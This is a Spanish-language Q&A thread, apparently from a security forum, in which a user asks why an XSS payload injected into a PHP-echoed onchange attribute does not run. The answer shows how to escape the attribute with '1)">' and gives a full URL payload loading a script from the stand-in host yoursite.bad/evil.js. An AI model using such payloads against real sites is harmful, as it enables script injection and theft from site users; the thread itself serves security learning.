El error JS está deteniendo la carga útil xss para la ejecución

0

El vector XSS está en el * pero no se declara la función issue_type, por lo que no se ejecuta mi carga útil.

La siguiente es la instancia del código vulnerable: -

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, *)" style="height:30px;">

el código real es como el siguiente:

echo '<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, ".$_REQUEST['issue_id'].")" style="height:30px;">';

así que intenté: -

issue_id = alert (1)

que resultó en: -

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, alert(1))" style="height:30px;">

como la función issue_type no está definida en la página, la carga útil no se ejecutó porque el atributo onchange no se ejecutó.

¿Cómo puedo modificar mi carga útil para explotar xss?

    
pregunta Aayush 23.08.2017 - 15:46
fuente

1 respuesta

2

Depende mucho de los detalles exactos. Usted dice

  

el código real es como el siguiente:

(énfasis mío). Si el código real es como el que usted escribió, entonces la inyección XSS es muy fácil. La razón es porque el error de javascript no importa. No importa porque puede escapar completamente del contexto del atributo HTML y simplemente inyectar sus propios scripts directamente. Podrías imaginar una carga útil como esta:

http://www.example.com/vulnerable-page?issue_id=1)"><script type="text/javascript" src="http://yoursite.bad/evil.js">

DadoquePHPestáenviandosusolicituddirectamente,ustedtienecontroltotalsobrelapáginafinal.Enresumen,1)"> sirve para cerrar la etiqueta seleccionada. El html real terminará como:

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, 1)"><script type="text/javascript" src="http://yoursite.bad/evil.js">

El error aún permanece allí, pero en cambio, puedes inyectar directamente un archivo javascript en la página, que es todo lo que necesitas. Si el usuario cambiara el valor de selección, habría un error de javascript, pero su código se ejecutará en la carga de la página, por lo que realmente no importa.

    
respondido por el Conor Mancone 23.08.2017 - 20:17
fuente

Lea otras preguntas en las etiquetas